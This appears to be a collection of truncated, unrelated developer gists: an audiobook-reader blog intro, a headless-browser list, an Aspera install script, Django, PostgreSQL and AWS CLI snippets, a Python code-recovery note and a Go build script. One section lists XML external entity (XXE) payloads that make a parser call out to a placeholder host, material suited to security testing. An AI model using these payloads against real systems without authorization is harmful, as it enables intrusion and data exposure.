wkjagt

#How I built an audio book reader for my nearly blind grandfather

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Last year, when visiting my family back home in Holland, I also stopped by my grand-parents. My grand-father, now 93 years old, had always been a very active man. However, during the presceding couple of months, he'd gone almost completely blind and now spent his days sitting in a chair. Trying to think of something for him to do, I suggested he try out audio books. After finally convincing him -- he said audio books were for sad old people -- that listening to a well performed recording is actually a wonderful experience, I realized the problem of this idea.

####The problem with audio devices and the newly blind. After my first impulse to jump up and go buy him an

evandrix

Here are a list of headless browsers that I know about:

• [HtmlUnit][1] - Java. Custom browser engine. JavaScript support/DOM emulated. Open source.
• [Ghost][2] - Python only. WebKit-based. Full JavaScript support. Open source.
• [Twill][3] - Python/command line. Custom browser engine. No JavaScript. Open source.
• [PhantomJS][4] - Command line/all platforms. WebKit-based. Full JavaScript support. Open source.
• [Awesomium][5] - C++/.Net/all platforms. Chromium-based. Full JavaScript support. Commercial/free.
• [SimpleBrowser][6] - .Net 4/C#. Custom browser engine. No JavaScript support. Open source.
• [ZombieJS][7] - Node.js. Custom browser engine. JavaScript support/emulated DOM. Open source.
• [EnvJS][8] - JavaScript via Java/Rhino. Custom browser engine. JavaScript support/emulated DOM. Open source.

honoki

<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

mfansler

#!/bin/bash

## How to install ascp, in a gist.

## The URI below is not persistent! 
## Check for latest link: https://www.ibm.com/aspera/connect/
wget -qO- https://ak-delivery04-mul.dhe.ibm.com/sar/CMA/OSA/0a07f/0/ibm-aspera-connect_4.1.0.46-linux_x86_64.tar.gz | tar xvz

## run it
chmod +x ibm-aspera-connect_4.1.0.46-linux_x86_64.sh

jacobian

from django.db import models

class Person(models.Model):
    name = models.CharField(max_length=200)
    groups = models.ManyToManyField('Group', through='GroupMember', related_name='people')
    
    class Meta:
        ordering = ['name']
    
    def __unicode__(self):

syafiqfaiz

1. Change your database RDS instance security group to allow your machine to access it.
   • Add your ip to the security group to acces the instance via Postgres.
2. Make a copy of the database using pg_dump
   • $ pg_dump -h <public dns> -U <my username> -f <name of dump file .sql> <name of my database>
   • you will be asked for postgressql password.
   • a dump file(.sql) will be created
3. Restore that dump file to your local database.
   • but you might need to drop the database and create it first
   • $ psql -U <postgresql username> -d <database name> -f <dump file that you want to restore>

• the database is restored

lukeplausin

# Count total EBS based storage in AWS
aws ec2 describe-volumes | jq "[.Volumes[].Size] | add"
# Count total EBS storage with a tag filter
aws ec2 describe-volumes --filters "Name=tag:Name,Values=CloudEndure Volume qjenc" | jq "[.Volumes[].Size] | add"
# Describe instances concisely
aws ec2 describe-instances | jq '[.Reservations | .[] | .Instances | .[] | {InstanceId: .InstanceId, State: .State, SubnetId: .SubnetId, VpcId: .VpcId, Name: (.Tags[]|select(.Key=="Name")|.Value)}]'
# Wait until $instance_id is running and then immediately stop it again
aws ec2 wait instance-running --instance-id $instance_id && aws ec2 stop-instances --instance-id $instance_id

# Get 10th instance in the account

simonw

How to recover lost Python source code if it's still resident in-memory

I screwed up using git ("git checkout --" on the wrong file) and managed to delete the code I had just written... but it was still running in a process in a docker container. Here's how I got it back, using https://pypi.python.org/pypi/pyrasite/ and https://pypi.python.org/pypi/uncompyle6

Attach a shell to the docker container

Install GDB (needed by pyrasite)

apt-get update && apt-get install gdb

FiloSottile

#! /bin/sh

GOOS=linux go build -o $2 "$1"
GOOS=linux go build -ldflags="-s -w" -o $2.-sw "$1"
upx -f --brute -o $2.upx $2
upx -f --brute -o $2.-sw.upx $2.-sw

GOOS=linux gotip build -o $2.tip "$1"
GOOS=linux gotip build -ldflags="-s -w" -o $2.tip.-sw "$1"
upx -f --brute -o $2.tip.upx $2.tip

tobsn

https://rpgreen.wordpress.com/2016/02/23/a-mapping-template-to-send-everything-to-your-backend-integration/

location/cookie headers:
https://stackoverflow.com/questions/35595672/aws-api-gateway-use-302-redirect-and-set-cookie-header

https://blog.hiramsoftware.com/blog/day-one-aws-api-gateway/